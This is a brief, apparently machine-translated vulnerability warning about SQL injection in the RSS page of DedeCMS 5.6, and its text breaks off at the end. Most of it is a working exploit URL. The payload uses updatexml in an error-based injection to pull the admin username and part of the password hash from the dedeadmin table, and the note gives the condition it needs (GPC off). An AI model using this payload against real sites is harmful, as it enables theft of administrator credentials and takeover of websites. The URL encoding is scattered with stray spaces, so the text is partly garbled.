dedecms 5.6 RSS subscription page injection vulnerability-vulnerability warning-the black bar safety net

EXP: the uploads/plus/rss. php? tid=1&Cs1=1&Cs2%2 9% 2 9%20AND%2 0% 2 2% 2 7% 2 2%20AND%20updatexml%2 8 1,%28SELECT%20CONCAT%280x5b,uname,0x3a,MID%28pwd,4,1 6% 2 9,0x5d%2 9%20FROM%20dedeadmin%29,1%2 9%2 3%2 70=1 The use of the environment: GPC off There updatexml function...